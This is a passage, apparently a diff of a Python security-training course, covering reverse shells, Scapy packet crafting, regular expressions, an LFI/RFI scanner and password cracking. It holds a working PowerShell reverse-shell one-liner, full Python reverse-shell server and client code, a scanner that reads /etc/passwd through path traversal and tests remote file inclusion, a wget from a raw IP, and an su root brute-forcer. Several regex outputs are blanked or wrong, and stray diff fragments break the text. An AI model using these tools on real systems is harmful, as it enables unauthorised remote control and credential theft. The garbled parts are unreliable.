-powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()};  if ($process.ExitCode -ne $null) {$process.Close()};  exit;  };$address = '127.0.0.1';  $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize  ;$process = New-Object System.Diagnostics.Process  ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'  ;$process.StartInfo.RedirectStandardInput = 1  ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0  ;$process.Start()  ;$inputstream = $process.StandardInput  ;$outputstream = $process.StandardOutput  ;Start-Sleep 1  ;$encoding = new-object System.Text.AsciiEncoding  ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length)  ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup}  ;$pos = 0; $i = 1;  while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);  $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}  ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos);  $inputstream.write($string);  start-sleep 1;  if ($process.ExitCode -ne $null) {ReverseShellClean};else {  $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){;  $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}};  $stream.Write($encoding.GetBytes($out),0,$out.length);  $out = $null;  $string = $null}} else {ReverseShellClean}};"
+
 
 
 - on Windows machine run client_http.py
 
 - on Ubuntu you will see that connection is established:
 
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
 Shell> dir
 ----------------------------------------------------------------------
 
 192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
 192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
  Volume in drive C has no label.
 
 
 ############################################
 # Multi-Threaded Reverse Shell in Python 3 #
 ############################################
 
 
 - We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
 
 Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
 
 
 Server.py code:
 ---------------------------Paste This-----------------------------------
 
 import socket
 import sys
 
 # Create socket (allows two computers to connect)
 
 def socket_create():
     try:
         global host
         global port
         global s
         host = ''
         port = 9999
         s = socket.socket()
     except socket.error as msg:
         print("Socket creation error: " + str(msg))
 
 # Bind socket to port and wait for connection from client
 def socket_bind():
     try:
         global host
         global port
         global s
         print("Binding socket to port: " + str(port))
         s.bind((host,port))
         s.listen(5)
     except socket.error as msg:
         print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
         socket_bind()
 
 # Establish a connection with client (socket must be listening for them)
 def socket_accept():
     conn, address = s.accept()
     print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
     send_commands(conn)
     conn.close()
 
 
 # Send commands
 def send_commands(conn):
     while True:
         cmd = raw_input()                          #input() is changed to raw_input() in order to work on python2.7
         if cmd == 'quit':
             conn.close()
             s.close()
             sys.exit()
         if len(str.encode(cmd))>0:
             conn.send(str.encode(cmd))
             client_response = str(conn.recv(1024))  # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
             print(client_response)
 
 # References for str.encode/decode
 # https://www.tutorialspoint.com/python/string_encode.htm
 # https://www.tutorialspoint.com/python/string_decode.htm
 
 
 def main():
     socket_create()
     socket_bind()
     socket_accept()
 
 main()
 
 
 
 ----------------------------------------------------------------------
 
 
 -After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
 
 Client.py code:
 
 ---------------------------Paste This-----------------------------------
 
 import os
 import socket
 import subprocess
 
 s = socket.socket()
 host = '192.168.243.150'    # change to IP address of your server
 port = 9999
 s.connect((host, port))
 
 while True:
     data = s.recv(1024)
     if data[:2].decode("utf-8") == 'cd':
         os.chdir(data[3:].decode("utf-8"))
     if len(data) > 0:
         cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
         output_bytes = cmd.stdout.read() + cmd.stderr.read()
         output_str = str(output_bytes)                         # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
         s.send(str.encode(output_str + str(os.getcwd()) + '> '))
         print(output_str)
 # References for str.encode/decode
 # https://www.tutorialspoint.com/python/string_encode.htm
 # https://www.tutorialspoint.com/python/string_decode.htm
 
 # Close connection
 s.close()
 
 
 ----------------------------------------------------------------------
 
 ---------------------------Type This-----------------------------------
 
 python client.py
 ----------------------------------------------------------------------
 
 - Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
 
 ---------------------------Type This-----------------------------------
 
 infosecaddicts@ubuntu:~$ python server.py
 
 ----------------------------------------------------------------------
 
 Binding socket to port: 9999
 Connection has been established | IP 192.168.243.1 | Port 57779
 dir
  Volume in drive C has no label.
 
 
  Directory of C:\Python27
 
 
 
 
 
 
 
 
 
 
 
 ###############################
 # Lesson 21: Installing Scapy #
 ###############################
 
 ---------------------------Type This-----------------------------------
 
 sudo apt-get update
 sudo apt-get install python-scapy python-pyx python-gnuplot
 
 ----------------------------------------------------------------------
 
 Reference Page For All Of The Commands We Will Be Running:
 http://samsclass.info/124/proj11/proj17-scapy.html
 
 Great slides for Scapy:
 http://www.secdev.org/conf/scapy_csw05.pdf
 
 
 
 
 To run Sapy interactively
 ---------------------------Type This-----------------------------------
 
 	sudo scapy
 
 ----------------------------------------------------------------------
 
 
 ################################################
 # Lesson 22: Sending ICMPv4 Packets with scapy #
 ################################################
 
 In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
 
 ---------------------------Type This-----------------------------------
 
     i = IP()
 
 ----------------------------------------------------------------------
 
 
 
 This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
 
 ---------------------------Type This-----------------------------------
 
     i.display()
 
 ----------------------------------------------------------------------
 
 
 
 Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
 
 ---------------------------Type This-----------------------------------
 
     i.dst="10.65.75.49"
 
     i.display()
 
 
 ----------------------------------------------------------------------
 
 
 Notice that scapy automatically fills in your machine's source IP address.
 
 Use these commands to create an object named ic of type ICMP and display its properties:
 
 ---------------------------Type This-----------------------------------
 
     ic = ICMP()
 
     ic.display()
 
 
 ----------------------------------------------------------------------
 
 
 
 Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
 
 ---------------------------Type This-----------------------------------
 
     sr1(i/ic)
 
 ----------------------------------------------------------------------
 
 
 
 
 This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
 
 The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
 
 Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
 
 ---------------------------Type This-----------------------------------
 
     sr1(i/ic/"YOUR NAME")
 
 ----------------------------------------------------------------------
 
 You should see a reply with a Raw section containing your name.
 
 
 
 ##############################################
 # Lesson 23: Sending a UDP Packet with Scapy #
 ##############################################
 
 
 Preparing the Target
 
 ---------------------------Type This-----------------------------------
 
 $ ncat -ulvp 4444
 
 ----------------------------------------------------------------------
 
 
 
 --open another terminal--
 In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
 
 ---------------------------Type This-----------------------------------
 
 
     u = UDP()
 
     u.display()
 
 ----------------------------------------------------------------------
 
 
 This creates an object named u of type UDP, and displays its properties.
 
 Execute these commands to change the destination port to 4444 and display the properties again:
 
 ---------------------------Type This-----------------------------------
 
     i.dst="10.10.2.97"				<--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
 
     u.dport = 4444
 
     u.display()
 
 ----------------------------------------------------------------------
 
 
 Execute this command to send the packet to the Windows machine:
 
 ---------------------------Type This-----------------------------------
 
     send(i/u/"YOUR NAME SENT VIA UDP\n")
 
 ----------------------------------------------------------------------
 
 
 On the Windows target, you should see the message appear
 
 
 
 
 #######################################
 # Lesson 24: Ping Sweeping with Scapy #
 #######################################
 
 ---------------------------Paste This-----------------------------------
 
 
 #!/usr/bin/python
 from scapy.all import *
 
 TIMEOUT = 2
 conf.verb = 0
 for ip in range(0, 256):
     packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
 	# You will need to change 10.10.30 above this line to the subnet for your network
     reply = sr1(packet, timeout=TIMEOUT)
     if not (reply is None):
          print reply.dst, "is online"
     else:
          print "Timeout waiting for %s" % packet[IP].dst
 
 ----------------------------------------------------------------------
 
 
 ###############################################
 # Checking out some scapy based port scanners #
 ###############################################
 
 ---------------------------Type This-----------------------------------
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/rdp_scan.py
 
 cat rdp_scan.py
 
 sudo python rdp_scan.py
 
 ----------------------------------------------------------------------
 
 ######################################
 # Dealing with conf.verb=0 NameError #
 ######################################
 
 ---------------------------Type This-----------------------------------
 
 conf.verb = 0
 NameError: name 'conf' is not defined
 
 Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
 
 from scapy import *
 	to
 from scapy.all import *
 -----------------------------------------------------------------------
 
 
 
 Reference:
 http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
 
 
 conf.verb=0 is a verbosity setting (configuration/verbosity = conv
 
 
 
 Here are some good Scapy references:
 http://www.secdev.org/projects/scapy/doc/index.html
 http://resources.infosecinstitute.com/port-scanning-using-scapy/
 http://www.hackerzvoice.net/ouah/blackmagic.txt
 http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
-To run Scapy interactively
+
 
 
 
 
 
 
 
 
 
 
 
 ##################################
 # Lesson 25: Regular Expressions #
 ##################################
 
 
 
 **************************************************
 * What is Regular Expression and how is it used? *
 **************************************************
 
 
 Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
 
 
 Regular expressions use two types of characters:
 
 a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
 
 b) Literals (like a,b,1,2…)
 
 
 In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
 
 
 Use this code --> import re
 
 
 
 
 The most common uses of regular expressions are:
 --------------------------------------------------
 
 - Search a string (search and match)
 - Finding a string (findall)
 - Break string into a sub strings (split)
 - Replace part of a string (sub)
 
 
 
 Let's look at the methods that library "re" provides to perform these tasks.
 
 
 
 ****************************************************
 * What are various methods of Regular Expressions? *
 ****************************************************
 
 
 The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
 
 re.match()
 re.search()
 re.findall()
 re.split()
 re.sub()
 re.compile()
 
 Let's look at them one by one.
 
 
 re.match(pattern, string):
 -------------------------------------------------
 
 This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
 
 Code
 ---------------------------Type This-----------------------------------
 
 import re
 result = re.match(r'AV', 'AV Analytics ESET AV')
 print result
 ----------------------------------------------------------------------
 
 Output:
 <_sre.SRE_Match object at 0x0000000009BE4370>
 
 Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
 
 ---------------------------Type This-----------------------------------
 
 result = re.match(r'AV', 'AV Analytics ESET AV')
 print result.group(0)
 ----------------------------------------------------------------------
 
 Output:
 AV
 
 
 Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result = re.match(r'Analytics', 'AV Analytics ESET AV')
 print result
 ----------------------------------------------------------------------
 
 
 Output:
 None
 
 
 There are methods like start() and end() to know the start and end position of matching pattern in the string.
 
 Code
 ---------------------------Type This-----------------------------------
 
 result = re.match(r'AV', 'AV Analytics ESET AV')
 print result.start()
 print result.end()
 ----------------------------------------------------------------------
 
 Output:
 0
 2
 
 Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
 
 
 
 
 
 re.search(pattern, string):
 -----------------------------------------------------
 
 
 It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
 
 Code
 ---------------------------Type This-----------------------------------
 
 result = re.search(r'Analytics', 'AV Analytics ESET AV')
 print result.group(0)
 ----------------------------------------------------------------------
 
 Output:
 Analytics
 
 Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
 
 
 
 
 
 
 re.findall (pattern, string):
 ------------------------------------------------------
 
 
 It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result = re.findall(r'AV', 'AV Analytics ESET AV')
 print result
 ----------------------------------------------------------------------
 
 Output:
-wget http://45.63.104.73/rdp_scan.py
+
 
 
 
 
 
 re.split(pattern, string, [maxsplit=0]):
 ------------------------------------------------------
 
 
 
 This methods helps to split string by the occurrences of given pattern.
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.split(r'y','Analytics')
 result
  ----------------------------------------------------------------------
 
 Output:
 []
 
 Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.split(r's','Analytics eset')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
 
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.split(r's','Analytics eset',maxsplit=1)
 result
 ----------------------------------------------------------------------
 
 Output:
 []
 
 
 
-#######################
+
-# Regular Expressions #
+
-#######################
+
 ----------------------------------------------------------
 
 It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.sub(r'Ruby','Python','Joe likes Ruby')
 result
 ----------------------------------------------------------------------
 
 Output:
 ''
 
 
 
 
 
 re.compile(pattern, repl, string):
 ----------------------------------------------------------
 
 
 We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 import re
 pattern=re.compile('XSS')
 result=pattern.findall('XSS is Cross Site Scripting, XSS')
 print result
 result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
 print result2
 ----------------------------------------------------------------------
 
 Output:
 ['XSS', 'XSS']
 ['XSS']
 
 Till now,  we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string?  Don't be intimidated.
 
 This can easily be solved by defining an expression with the help of pattern operators (meta  and literal characters). Let's look at the most common pattern operators.
 
 
 
 
 ############################################
 # Lesson 26: Regular Expressions operators #
 ############################################
 
 **********************************************
 * What are the most commonly used operators? *
 **********************************************
 
 
 Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and  text mining to extract required information.
 
 Operators	Description
 .	        Matches with any single character except newline ‘\n'.
 ?	        match 0 or 1 occurrence of the pattern to its left
 +	        1 or more occurrences of the pattern to its left
 *	        0 or more occurrences of the pattern to its left
 \w	        Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
 \d	        Matches with digits [0-9] and /D (upper case D) matches with non-digits.
 \s	        Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
 \b	        boundary between word and non-word and /B is opposite of /b
 [..]	        Matches any single character in a square bracket and [^..] matches any single character not in square bracket
 \	        It is used for special meaning characters like \. to match a period or \+ for plus sign.
 ^ and $	        ^ and $ match the start or end of the string respectively
 {n,m}	        Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
 a| b	        Matches either a or b
 ( )	        Groups regular expressions and returns matched text
 \t, \n, \r	Matches tab, newline, return
 
 
 For more details on  meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
 
 Now, let's understand the pattern operators by looking at the below examples.
 
 
 
 ****************************************
 * Some Examples of Regular Expressions *
 ****************************************
 
 ******************************************************
 * Problem 1: Return the first word of a given string *
 ******************************************************
 
 
 Solution-1  Extract each character (using "\w")
 ---------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 
 import re
 result=re.findall(r'.','Python is the best scripting language')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
 
 
 Above, space is also extracted, now to avoid it use "\w" instead of ".".
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\w','Python is the best scripting language')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
 
 
 
 
 Solution-2  Extract each word (using "*" or "+")
 ---------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\w*','Python is the best scripting language')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
 
 
 Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\w+','Python is the best scripting language')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['Python', 'is', 'the', 'best', 'scripting', 'language']
 
 
 
 
 Solution-3 Extract each word (using "^")
 -------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'^\w+','Python is the best scripting language')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['Python']
 
 If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\w+$','Python is the best scripting language')
 print result
 ----------------------------------------------------------------------
 
 Output:
 [‘language']
 
 
 
 
-['Anal', 'tics']
+
 **********************************************************
 * Problem 2: Return the first two character of each word *
 **********************************************************
 
 
 
 
 Solution-1  Extract consecutive two characters of each word, excluding spaces (using "\w")
 ------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\w\w','Python is the best')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
 
 
 
 
 
 Solution-2  Extract consecutive two characters those available at start of word boundary (using "\b")
 ------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\b\w.','Python is the best')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['Py', 'is', 'th', 'be']
 
 
 
 
 
 
 ********************************************************
 * Problem 3: Return the domain type of given email-ids *
 ********************************************************
 
 
 To explain it in simple manner, I will again go with a stepwise approach:
 
 
 
 
 
 Solution-1  Extract all characters after "@"
 ------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
 print result
 ----------------------------------------------------------------------
 
 Output: ['@gmail', '@test', '@strategicsec', '@rest']
 
 
 
 Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
 
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
 
 
 
 
 
 
 Solution – 2 Extract only domain name using "( )"
 -----------------------------------------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['com', 'com', 'com', 'biz']
 
 
 
 
 
 
 ********************************************
 * Problem 4: Return date from given string *
 ********************************************
 
 
 Here we will use "\d" to extract digit.
 
 
 Solution:
 ----------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['12-05-2007', '11-11-2016', '12-01-2009']
 
 If you want to extract only year again parenthesis "( )" will help you.
 
 
 Code
 
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['2007', '2016', '2009']
 
 
 
 
 
 *******************************************************************
 * Problem 5: Return all words of a string those starts with vowel *
 *******************************************************************
 
 
 
 
 Solution-1  Return each words
 -----------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\w+','Python is the best')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['Python', 'is', 'the', 'best']
 
 
 
 
 
 Solution-2  Return words starts with alphabets (using [])
 ------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['ove', 'on']
 
 Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
 
 
 
 
 
 Solution- 3
 ------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
 print result
 ----------------------------------------------------------------------
 
 Output:
 []
 
 In similar ways, we can extract words those starts with constant using "^" within square bracket.
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
 print result
 ----------------------------------------------------------------------
 
 Output:
 [' love', ' Python']
 
 Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['love', 'Python']
 
 
 
 
 
 
 *************************************************************************************************
 * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
 *************************************************************************************************
 
 
 We have a list phone numbers in list "li" and here we will validate phone numbers using regular
 
 
 
 
 Solution
 -------------------------------------------------------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 import re
 li=['9999999999','999999-999','99999x9999']
 for val in li:
  if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
      print 'yes'
  else:
      print 'no'
 
 ----------------------------------------------------------------------
 
 Output:
 yes
 no
 no
 
 
 
 
 
 ******************************************************
 * Problem 7: Split a string with multiple delimiters *
 ******************************************************
 
 
 
 Solution
 ---------------------------------------------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 import re
 line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
 result= re.split(r'[;,\s]', line)
 print result
 ----------------------------------------------------------------------
 
 Output:
 ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
 
 
 
 We can also use method re.sub() to replace these multiple delimiters with one as space " ".
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 import re
 line = 'asdf fjdk;afed,fjek,asdf,foo'
 result= re.sub(r'[;,\s]',' ', line)
 print result
 ----------------------------------------------------------------------
 
 Output:
 asdf fjdk afed fjek asdf foo
 
 
 
 
 **************************************************
 * Problem 8: Retrieve Information from HTML file *
 **************************************************
 
 
 
 I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
 
 
 
 Sample HTML file (str)
 ---------------------------Paste This-----------------------------------
 
 <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
 <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
 <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
 <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
 <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
 <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
 <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
 ----------------------------------------------------------------------
 
 Solution:
 
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
 print result
 ----------------------------------------------------------------------
 
 Output:
 [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
 
 
 
 You can read html file using library urllib2 (see below code).
 
 
 Code
 ---------------------------Type This-----------------------------------
 
 import urllib2
 response = urllib2.urlopen('')
 html = response.read()
 ----------------------------------------------------------------------
 
 
 
 
 
 
 #################################################
 # Lesson 27: Python Functions & String Handling #
 #################################################
 
 Python can make use of functions:
 http://www.tutorialspoint.com/python/python_functions.htm
 
 
 
 Python can interact with the 'crypt' function used to create Unix passwords:
 http://docs.python.org/2/library/crypt.html
 
 
 
 Tonight we will see a lot of the split() method so be sure to keep the following references close by:
 http://www.tutorialspoint.com/python/string_split.htm
 
 
 Tonight we will see a lot of slicing so be sure to keep the following references close by:
 http://techearth.net/python/index.php5?title=Python:Basics:Slices
 
 
 ---------------------------Type This-----------------------------------
 vi LFI-RFI.py
 
 
 ---------------------------Paste This-----------------------------------
 
 
 #!/usr/bin/env python
 print "\n### PHP LFI/RFI Detector ###"
 
 import urllib2,re,sys
 
 TARGET = "http://10.1.1.38/showfile.php?filename=about.txt"
 RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
 TravLimit = 12
 
 print "==> Testing for LFI vulns.."
 TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
 for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
     TARGET += "../"
     try:
         source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
     except urllib2.URLError, e:
         print "$$$ We had an Error:",e
         sys.exit(0)
     if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
         print "!! ==> LFI Found:",TARGET+"etc/passwd"
         break ## BREAK LOOP WHEN VULN FOUND
 
 print "\n==> Testing for RFI vulns.."
 TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
 try:
     source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
 except urllib2.URLError, e:
     print "$$$ We had an Error:",e
     sys.exit(0)
 if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
     print "!! => RFI Found:",TARGET
 
 print "\nScan Complete\n" ## DONE
 
 
 
 -----------------------------------------------------------------------
 
 
 ################################
 # Lesson 28: Password Cracking #
 ################################
 
 ---------------------------Type This-----------------------------------
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/htcrack.py
 
 vi htcrack.py
 
 vi list.txt
 
 ---------------------------Paste This-----------------------------------
 
 hello
 goodbye
 red
 blue
 yourname
 tim
 bob
 
 -----------------------------------------------------------------------
 
 ---------------------------Type This-----------------------------------
 
 htpasswd -nd yourname
 	- enter yourname as the password
 
 
 
 python htcrack.py joe:7XsJIbCFzqg/o list.txt
 
 
 
 
 sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
 
 rm -rf mechanize-0.2.5.tar.gz
 
 sudo /bin/bash
 
 passwd
 	***set root password***
 
 
 
 ---------------------------Type This-----------------------------------
 
 vi rootbrute.py
 
 ---------------------------Paste This-----------------------------------
 
 #!/usr/bin/env python
 
 import sys
 try:
         import pexpect
 except(ImportError):
         print "\nYou need the pexpect module."
         print "http://www.noah.org/wiki/Pexpect\n"
         sys.exit(1)
 
 #Change this if needed.
 # LOGIN_ERROR = 'su: incorrect password'
 LOGIN_ERROR = "su: Authentication failure"
 
 def brute(word):
         print "Trying:",word
         child = pexpect.spawn('/bin/su')
         child.expect('Password: ')
         child.sendline(word)
         i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
         if i == 1:
                 print "Incorrect Password"
 
         if i == 2:
                 print "\n\t[!] Root Password:" ,word
                 child.sendline ('id')
                 print child.before
                 child.interact()
 
 if len(sys.argv) != 2:
         print "\nUsage : ./rootbrute.py <wordlist>"
